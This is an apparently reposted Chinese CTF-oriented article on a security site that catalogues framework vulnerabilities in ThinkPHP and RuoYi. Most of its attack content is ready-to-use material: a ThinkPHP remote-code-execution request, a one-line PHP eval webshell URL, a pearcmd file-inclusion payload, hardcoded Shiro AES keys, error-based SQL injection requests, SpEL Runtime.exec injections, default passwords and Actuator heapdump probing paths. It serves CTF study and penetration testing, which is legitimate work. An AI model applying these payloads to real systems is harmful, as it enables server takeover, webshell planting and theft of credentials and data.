CTF之框架漏洞——不要以为你省下了功夫"

admin
admin
admin
0
文章
0
评论
2026-10-22 02:06:38 网络安全文章 来源：ZONE.CI 全球网 0 阅读模式

cover_image

CTF之框架漏洞——不要以为你省下了功夫

原创

书中自有代码来
书中自有代码来

书中自有代码来

2026年6月8日 22:06
四川

在小说阅读器读本章

去阅读

一、什么是框架漏洞

框架漏洞是指Web应用所依赖的成熟开发框架（如ThinkPHP、Spring Boot、Shiro等）自身存在的设计缺陷、逻辑错误或默认配置不当引发的安全问题，这类漏洞通常不依赖业务代码逻辑，仅因框架版本特性即可被利用，可能导致远程代码执行、敏感信息泄露、权限绕过等严重后果，且因框架复用性极高，一旦出现通用漏洞会影响海量使用该框架的应用，危害范围广、利用成本低。

二、常见框架漏洞

（一）PHP——thinkphp

远程代码执行

  1. 5.0.23-Rce

poc：

POST /index.php?s=captcha HTTP/1.1
Host: node4.buuoj.cn:29957
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

修改最后的id即可执行其他命令

利用工具：bewhale/thinkphp\_gui\_tools: ThinkPHP漏洞综合利用工具

  1. CNVD-2018-24942
版本名 是否可被攻击 攻击条件
5.0.0 否 无
5.0.1 否 无
5.0.2 否 无
5.0.3 否 无
5.0.4 否 无
5.0.5 否 无
5.0.6 否 无
5.0.7 否 无
5.0.8 是 无需开启debug
5.0.9 是 无需开启debug
5.0.10 是 无需开启debug
5.0.11 是 无需开启debug
5.0.12 是 无需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 无
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug

一句话木马：

http://ip/?s=index/\\think\\template\\driver\\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E

poc集合：SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

任意文件包含

  1. 包含日志-3.2x

该漏洞是在受影响的版本中，业务代码中如果模板赋值方法assign的第一个参数可控，则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径，造成任意文件包含，执行任意代码。

使用请求头修改即可：

X-REAL-HOST: <?php phpinfo();?>
X-REWRITE-URL: <?php phpinfo();?>
X-HTTP-METHOD-OVERRIDE: <?php phpinfo();?>

利用工具：Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具

  1. 包含语言QVD-2022-46174

如果 Thinkphp 程序开启了多语言功能，攻击者可以通过 get、header、cookie 等位置传入参数，实现目录穿越+文件包含，通过 pearcmd 文件包含这个 trick 即可实现 RCE。

poc：

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/666.php

（二）JAVA——ruoyi

弱口令

  1. 直接爆破

常见用户名：admin ruoyi druid           常见密码：123456 admin druid admin123 admin888

  1. Shiro默认密钥

该漏洞在ruoyi小于4.6.2时有效

相关文件：ruoyi-admin/src/main/resources/application.yml中的cipherKey字段中硬编码的密钥

利用方法：使用SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用工具（参考shiro反序列化漏洞综合利用工具环境报错问题解决），填入密钥等信息，使用爆破利用工具链来破解。

RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

sql注入

该漏洞在4.6.2以下有效

在sql注入成功后，服务器会以报错形式返回查询信息

相关poc集合：

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

任意文件上传下载

CNVD-2021-01931

该漏洞在4.5.1以下有效

CVE-2023-27025

该漏洞在4.7.6以下有效

  1. 获取管理员cookie
  2. 在/monitor/job/add设置定时绕过白名单的任务
  3. 通过/monitor/job/add执行任务修改配置路径
  4. 使用/common/download/resource?resource=触发漏洞
  5. 这样服务器就只校验上传路径，不再次校验实际路径是否合法

编码绕过

该漏洞在4.7.6以下有效

通过使用url或utf编码可以绕过waf的检测，达到执行特定指令的效果

使用工具：cckuailong/JNDI-Injection-Exploit-Plus

java注入

相关poc：

POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: \"Chromium\";v=\"123\", \"Not:A-Brand\";v=\"8\"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: \"Windows\"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}

POST /monitor/cache/getKeys HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: \"Chromium\";v=\"123\", \"Not:A-Brand\";v=\"8\"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: \"Windows\"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/monitor/cache/getKeys
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}

拼接路径漏洞

常见泄露路径，有则可以使用spring-boot攻击方法利用：

/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html

api文档信息

  1. Druid监控组件：http://ip/baseurl/druid/login.html针对Druid监控组件，可通过访问该路径进行排查，成功登录后应重点审查Session监控与URI监控两个核心模块。在Session监控中，可利用页面泄露的历史登录Session值，通过抓包替换等方式尝试绕过认证直接登录系统；而在URI监控处，则能获取大量系统接口路径，借此可进一步访问并挖掘潜在的敏感信息。
  2. Swagger接口文档：http://ip/baseurl/swagger-ui/
    针对Swagger接口文档，可通过访问该路径查看系统暴露的API结构，并基于接口文档开展下一步测试。当发现接口数量庞大、手动测试效率低下时，建议引入自动化工具（如swagger-hack）对接口进行批量爬取与未授权访问测试，从而高效挖掘潜在的安全漏洞。
  3. Spring Boot Actuator：http://ip/baseurl/actuator
    针对Spring Boot框架的Actuator监控端点，需重点排查该路径下是否存在未授权访问漏洞，尤其是极具危险性的 /actuator/heapdump 路径。该路径可导出JVM运行时的堆内存快照文件，攻击者下载后利用专业分析工具对其进行解析，往往能够从中提取出数据库密码、Token等大量高价值敏感信息。

版权声明

本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。

ZONE.CI 全球网 | 安全领域涉猎者-乌云独行地带
ZONE.CI 全球网
安全领域涉猎者-乌云独行地带
ai与安全" 网络安全文章

ai与安全"

文档分享了作者在渗透测试中应用AI的实战经验，从最初使用Claude/GPT到转向国产模型DS4、GLM5的过程。核心发现是删除自定义skill后依靠AI原生推理能力反而能挖掘更多非预期漏洞，并通过黑盒场景案例说明AI可拓展攻击面、降低学习门槛。建议采用人工+AI半自动模式，优先从简单对话开始而非复杂工作流，同时强调人的判断在约束和上下文管理中的不可替代性。
10-220 评论
一个开源成熟的AI红队测试与渗透测试框架" 网络安全文章

一个开源成熟的AI红队测试与渗透测试框架"

CAI是一个开源AI网络安全框架，集成自主代理、渗透测试工具和CTF自动化功能，支持300多种AI模型与多代理架构。文档强调其可提升AI红队测试透明度，指出当前LLM供应商隐瞒网络安全能力的风险，并为安全工程师提供漏洞挖掘、赏金狩猎等场景的实操资源。
10-220 评论
Chrome中的AsmJS漏洞：当WebAssembly信任的代码变得不可信" 网络安全文章

Chrome中的AsmJS漏洞：当WebAssembly信任的代码变得不可信"

文档分析了Chrome中CVE-2026-3542高危漏洞的成因与利用链：AsmJS解析器在处理嵌套移位表达式时共享状态变量被覆盖，导致WebAssembly操作码流污染。攻击者可利用该漏洞绕过Ubercage沙箱验证机制，通过越界类型访问泄露受信任笼基址，最终实现任意代码执行。文章详细拆解了从漏洞触发到完整利用的步骤，并指出V8通过避免状态共享完成修复。
10-220 评论
ZONE.CI 全球网 | 安全领域涉猎者-乌云独行地带
安全领域涉猎者-乌云独行地带
ZONE.CI 全球网
评论：0   参与：  0